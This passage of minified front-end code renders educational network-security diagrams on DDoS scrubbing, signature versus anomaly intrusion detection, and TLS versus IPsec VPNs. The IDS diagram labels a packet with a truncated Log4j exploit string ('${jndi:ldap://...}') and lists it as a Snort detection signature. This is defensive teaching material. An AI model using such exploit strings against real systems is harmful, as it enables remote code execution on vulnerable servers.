ATTACK DROPPED`,l=`Cloud Edge Scrubbed ✕`,u=`#ef4444`):e>=14&&e<=17&&(s=!0,o=510,c=`CLEAN PIPE: 15 Mbps`,l=`GRE Tunnel to Origin`,u=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#fef2f2`:`#eff6ff`,stroke:a?`#fca5a5`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#991b1b`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`DDOS ATTACK (500 Gbps) ABSORBED AT CLOUD ANYCAST EDGE ➔ CLEAN PIPE (15 Mbps) FORWARDED TO ORIGIN ✓`:`DDOS SCRUBBING ARCHITECTURE: CLOUD ANYCAST INGESTION &amp; VOLUMETRIC ATTACK MITIGATION`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===5||e===8)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:e===8?`#ef4444`:`#0284c7`,label:e===8?`500 Gbps ATTACK`:`USER TRAFFIC`}),(e===6||e>=14)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`CLEAN PIPE TUNNEL`}),(0,k.jsx)(`g`,{transform:`translate(80, 75)`,children:r&&a?(0,k.jsx)(M,{cx:0,cy:0,label:`BOTNET (50,000 NODES)`,ip:`UDP Amplification & SYN Flood`,active:!0,danger:!0}):n?(0,k.jsx)(M,{cx:0,cy:0,label:`LEGITIMATE USERS`,ip:`Clean Web Browsing (HTTPS)`,active:!0,success:!0}):(0,k.jsx)(M,{cx:0,cy:0,label:`TRAFFIC CLIENTS`,ip:`Public Internet Hosts`,active:!0})}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:a?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`CLOUD SCRUBBING`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:a?`SCRUBBING 99.9%`:`ANYCAST POP`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`CLOUDFLARE / AKAMAI`})]}),(0,k.jsx)(P,{cx:650,cy:75,label:`ORIGIN DATA CENTER`,sub:`CPU: 12% | Bandwidth: 15 Mbps`,active:!0,success:!0}),s&&(0,k.jsx)(j,{cx:o,cy:75,label:c,sub:l,color:u,dropped:e===12||e===13}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`DDoS CLOUD MITIGATION TELEMETRY & BANDWIDTH SCRUBBING METRICS`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`ANYCAST SCRUBBING POP TRAFFIC SPLIT:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`26`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:a?`309`:`40`,height:`26`,rx:`4`,fill:a?`#fee2e2`:`#dcfce7`}),(0,k.jsxs)(`text`,{x:`10`,y:`17`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:[`INGRESS FLOOD: `,(0,k.jsx)(`tspan`,{fill:a?`#b91c1c`:`#059669`,children:a?`512.4 Gbps (50k IPs)`:`15.2 Mbps (Normal)`})]}),(0,k.jsx)(`rect`,{x:`0`,y:`32`,width:`309`,height:`26`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`32`,width:a?`300`:`0`,height:`26`,rx:`4`,fill:`#fecaca`}),(0,k.jsxs)(`text`,{x:`10`,y:`49`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:[`ATTACK SCRUBBED: `,(0,k.jsx)(`tspan`,{fill:`#b91c1c`,children:a?`512.38 Gbps (99.99% DROPPED ✕)`:`0 Gbps`})]}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`309`,height:`26`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`60`,height:`26`,rx:`4`,fill:`#bbf7d0`}),(0,k.jsxs)(`text`,{x:`10`,y:`81`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:[`CLEAN PIPE TO ORIGIN: `,(0,k.jsx)(`tspan`,{fill:`#059669`,children:`15.0 Mbps (GRE Tunnel ✓)`})]})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Origin Status: `,(0,k.jsx)(`tspan`,{fill:`#059669`,fontWeight:`bold`,children:`100% Uptime | Zero Degradation`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`MULTI-LAYER CLOUD DEFENSE STACK:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`7`,fontFamily:`monospace`,children:`[BGP FLOWSPEC AUTOMATED MITIGATION RULE]`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#38bdf8`,fontSize:`7.5`,fontFamily:`monospace`,children:`match udp dest-port 53,123 rate-limit 0 (Drop Amplification)`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`68`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Key Architectural Concepts:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`BGP Anycast Routing:`}),` Distributes flood across 300+ global PoPs.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`DPI & Heuristics:`}),` Drops malformed, UDP reflection & SYN packets.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`58`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Clean-Pipe Tunnel:`}),` Encapsulates only valid HTTP/S traffic to origin.`]})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=14?`RESULT: ✓ ORIGIN SAFE — 500 Gbps FLOOD SCRUBBED AT PERIMETER, CLEAN TRAFFIC DELIVERED`:e>=8?`CRITICAL: VOLUMETRIC ATTACK WAVE INGESTED BY ANYCAST SCRUBBING POP`:e>=5?`NORMAL: LEGITIMATE USERS BROWSING ORIGIN THROUGH CLOUD ANYCAST`:`READY — ADVANCE STEP TO TRACE DDOS INGESTION, SCRUBBING & CLEAN PIPE TRANSIT`})})]})},Tn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=9,a=-100,o=!1,s=`INSPECTING`,c=`Packet Payload`,l=`#0284c7`;return e===4?(o=!0,a=90,s=`EXPLOIT: LOG4J`,c="${jndi:ldap://...}",l=`#ef4444`):e===5?(o=!0,a=230,s=`CVE-2021-44228`,c=`➔ IDS Inspection Engine`,l=`#ef4444`):e===6||e===7?(o=!0,a=370,s=`SIGNATURE MATCH!`,c=`Snort SID: 203432`,l=`#ef4444`):e===8?(o=!0,a=510,s=`ALERT ➔ SIEM`,c=`Passive Tap Logged`,l=`#f59e0b`):e===11?(o=!0,a=90,s=`NORMAL BASELINE`,c=`50 req/min (Normal)`,l=`#10b981`):e===12||e===13?(o=!0,a=230,s=`ZERO-DAY TUNNEL`,c=`500MB DNS Outbound (3 AM)`,l=`#8b5cf6`):e===14||e===15?(o=!0,a=370,s=`ANOMALY DETECTED!`,c=`Z-Score: +4.8σ Drift`,l=`#8b5cf6`):e>=16&&(o=!0,a=510,s=`HEURISTIC ALERT`,c=`Zero-Day Flagged ✓`,l=`#8b5cf6`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:i?`#f5f3ff`:`#eff6ff`,stroke:i?`#c4b5fd`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:i?`#6d28d9`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:i?`PART B: BEHAVIORAL ANOMALY DETECTION — STATISTICAL DRIFT &amp; ZERO-DAY THREAT DETECTION ✓`:`PART A: SIGNATURE-BASED DETECTION — DETERMINISTIC PATTERN MATCHING AGAINST KNOWN CVEs ✓`})]}),r&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===5||e===13)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:i?`#8b5cf6`:`#ef4444`,label:i?`ANOMALOUS DATA`:`EXPLOIT PAYLOAD`}),(e===8||e>=16)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#f59e0b`,label:`ALERT DISPATCH`}),(0,k.jsx)(M,{cx:80,cy:75,label:i?`ANOMALOUS SOURCE`:`ATTACK SOURCE`,ip:i?`Zero-Day / DNS Tunnel`:`Known Log4j Payload`,active:!0,danger:!0}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:i?`#8b5cf6`:`#ef4444`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`IDS ENGINE`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:i?`BEHAVIORAL ML`:`SNORT / SURICATA`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`INTRUSION DETECTION`})]}),n&&(0,k.jsx)(P,{cx:650,cy:75,label:`ENTERPRISE SIEM`,sub:`Splunk / Sentinel Alert Log`,active:!0,success:e===8||e>=16}),o&&(0,k.jsx)(j,{cx:a,cy:75,label:s,sub:c,color:l}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`IDS DETECTION MATRIX: SIGNATURE RULE EVALUATION VS STATISTICAL ANOMALY BASELINING`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:i?`BEHAVIORAL BASELINE DEVIATION METRIC:`:`SNORT CVE SIGNATURE DATABASE MATCH:`}),i?(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`22`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:`Baseline (Normal): 50 req/min | Port 53: 20 KB/hr`}),(0,k.jsx)(`rect`,{x:`0`,y:`26`,width:`309`,height:`22`,rx:`3`,fill:`#f5f3ff`,stroke:`#c4b5fd`}),(0,k.jsx)(`text`,{x:`10`,y:`40`,fill:`#6d28d9`,fontSize:`7.5`,fontFamily:`monospace`,children:`Observed: 3:00 AM DNS Egress ➔ 500 MB (Z=+4.8σ)`}),(0,k.jsx)(`rect`,{x:`0`,y:`52`,width:`309`,height:`54`,rx:`3`,fill:`#fef2f2`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`10`,y:`66`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,children:`ANOMALY ENGINE VERDICT: NOVEL ZERO-DAY DETECTED`}),(0,k.jsx)(`text`,{x:`10`,y:`80`,fill:`#475569`,fontSize:`6.8`,children:`• No known CVE signature matched payload.`}),(0,k.jsx)(`text`,{x:`10`,y:`94`,fill:`#475569`,fontSize:`6.8`,children:`• Statistical outlier flags covert exfiltration channel.`})]}):(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`13`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:`SID     CVE / Threat Pattern           Status    Action`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:e>=6?`#fee2e2`:`#ffffff`,stroke:e>=6?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:`203432  Log4j jndi:ldap:// regex       MATCHED   ALERT ⚠`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`201201  EternalBlue SMB MS17-010       NO_MATCH  IGNORE`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`34`,rx:`3`,fill:`#f1f5f9`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`86`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Signature Principle:`}),(0,k.jsx)(`text`,{x:`10`,y:`98`,fill:`#475569`,fontSize:`6.8`,children:`Deterministic byte pattern match. Cannot detect unknown Zero-Days.`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Engine State: `,(0,k.jsx)(`tspan`,{fill:i?`#6d28d9`:`#b91c1c`,fontWeight:`bold`,children:i?`ML Statistical Profiler`:`Static String/Byte Classifier`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`DETECTION PARADIGM COMPARISON:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`1. Signature-Based (Snort/Suricata):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`✔ Near 0% False Positives for known exploits.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b91c1c`,fontSize:`7`,children:`✕ 100% Blind to new Zero-Days and polymorphic mutations.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`2. Anomaly-Based (Behavioral ML / UEBA):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`✔ Catches novel Zero-Days and internal data exfiltration.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b45309`,fontSize:`7`,children:`⚠ Higher False Positives when legitimate business patterns shift.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#6d28d9`,fontSize:`7`,fontWeight:`bold`,children:`✔ Modern NGFW/NDR deploys BOTH in parallel!`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=16?`RESULT: ✓ HYBRID IDS COMPLETE — KNOWN EXPLOITS CAUGHT VIA SIGNATURES, ZERO-DAYS VIA ANOMALY`:e>=9?`PART B: EVALUATING STATISTICAL ANOMALY &amp; ZERO-DAY EXFILTRATION`:e>=4?`PART A: EVALUATING DETERMINISTIC LOG4J CVE SIGNATURE`:`READY — ADVANCE STEP TO TRACE SIGNATURE VS ANOMALY DETECTION`})})]})},En=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=-100,o=!1,s=`TLS 1.3`,c=`Port: 443`,l=`#0284c7`;return e===4||e===5?(o=!0,a=90,s=`HTTPS BROWSER`,c=`GET /vpn-portal:443`):e===6?(o=!0,a=230,s=`TLS 1.3 SESSION`,c=`➔ TLS VPN Gateway`,l=`#0284c7`):e===7?(o=!0,a=510,s=`L7 REVERSE PROXY`,c=`➔ Web App (10.0.0.5)`,l=`#10b981`):e===8?(o=!0,a=650,s=`WEB APP SERVING`,c=`HTTP 200 OK Return`,l=`#10b981`):e===14?(o=!0,a=90,s=`RAW IP PACKET`,c=`VoIP / RDP / ICMP`,l=`#8b5cf6`):e===15||e===16?(o=!0,a=230,s=`IPSEC ESP TUNNEL`,c=`Proto 50 [Encrypted]`,l=`#8b5cf6`):e===17||e===18?(o=!0,a=510,s=`ESP DECAPSULATED`,c=`➔ HQ Server (10.2.0.10)`,l=`#10b981`):e>=19&&(o=!0,a=650,s=`FULL L3 LINK ✓`,c=`Site-to-Site Active`,l=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:t?`#f5f3ff`:`#eff6ff`,stroke:t?`#c4b5fd`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:t?`#6d28d9`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`PART B: IPSEC VPN (LAYER 3) — FULL NETWORK-TO-NETWORK EXTENSION VIA ENCRYPTED ESP TUNNEL ✓`:`PART A: TLS/SSL VPN (LAYER 7) — CLIENTLESS BROWSER-BASED APPLICATION PROXY (PORT 443) ✓`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===16)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:t?`#8b5cf6`:`#0284c7`,label:t?`ESP ENCAPSULATED`:`TLS 1.3 TUNNEL`}),(e===7||e===18)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:t?`L3 ROUTING`:`L7 PROXY FORWARD`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`BRANCH ROUTER`:`REMOTE USER`,ip:t?`Site A (10.1.0.0/24)`:`Web Browser (Clientless)`,active:!0,success:e>=8}),n&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:t?`#8b5cf6`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`VPN GATEWAY`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:t?`IPsec ESP (L3)`:`TLS 1.3 / L7`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`SECURITY CONCENTRATOR`})]}),r&&(0,k.jsx)(P,{cx:650,cy:75,label:t?`HQ DATA CENTER`:`INTERNAL WEB APP`,sub:t?`10.2.0.10 (Entire Subnet)`:`https://portal.corp (10.0.0.5)`,active:!0,success:e>=8}),o&&(0,k.jsx)(j,{cx:a,cy:75,label:s,sub:c,color:l}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`VPN ARCHITECTURE MATRIX: TLS/SSL VPN (L7) VS IPSEC VPN (L3) COMPARISON`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:t?`IPSEC LAYER 3 ENCAPSULATION HEADER:`:`TLS/SSL LAYER 7 HANDSHAKE STACK:`}),t?(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#a78bfa`,fontSize:`7`,fontFamily:`monospace`,children:`[NEW IP HDR] ➔ [ESP HDR 50] ➔ [ORIGINAL IP PKT] ➔ [ESP AUTH]`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`36`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`IPsec Characteristics:`}),(0,k.jsx)(`text`,{x:`10`,y:`52`,fill:`#475569`,fontSize:`7`,children:`• Layer 3 Network Extension: Supports all protocols (VoIP, RDP, ICMP).`}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`309`,height:`36`,rx:`3`,fill:`#f5f3ff`,stroke:`#c4b5fd`}),(0,k.jsx)(`text`,{x:`10`,y:`78`,fill:`#6d28d9`,fontSize:`7.5`,fontWeight:`bold`,children:`Tunnel Topology:`}),(0,k.jsx)(`text`,{x:`10`,y:`92`,fill:`#0f172a`,fontSize:`7`,children:`• Site-to-Site (Branch ↔ HQ) or Client-to-Site (AnyConnect agent).`})]}):(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`[L4 TCP :443] ➔ [TLS 1.3 RECORD] ➔ [L7 HTTP PAYLOAD]`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`36`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`TLS/SSL Characteristics:`}),(0,k.jsx)(`text`,{x:`10`,y:`52`,fill:`#475569`,fontSize:`7`,children:`• Clientless: Works in standard Chrome/Edge/Firefox browser.`}),(0,k.jsx)(`rect`,{x:`0`,y:`64`,width:`309`,height:`36`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`78`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:`Granular Access Control:`}),(0,k.jsx)(`text`,{x:`10`,y:`92`,fill:`#0f172a`,fontSize:`7`,children:`• User only accesses specific web applications, not entire subnet.`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Transport Mode: `,(0,k.jsx)(`tspan`,{fill:t?`#6d28d9`:`#0284c7`,fontWeight:`bold`,children:t?`IP Protocol 50 (ESP) Encapsulation`:`Standard TCP Port 443`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`FEATURE & USE-CASE COMPARISON:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`TLS/SSL VPN (Layer 7):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`✔ Zero client install, easy firewall traversal (port 443).`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b91c1c`,fontSize:`7`,children:`✕ Limited to web/TCP apps; poor performance for UDP/VoIP.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`IPsec VPN (Layer 3):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`✔ Full network transparent routing, high performance 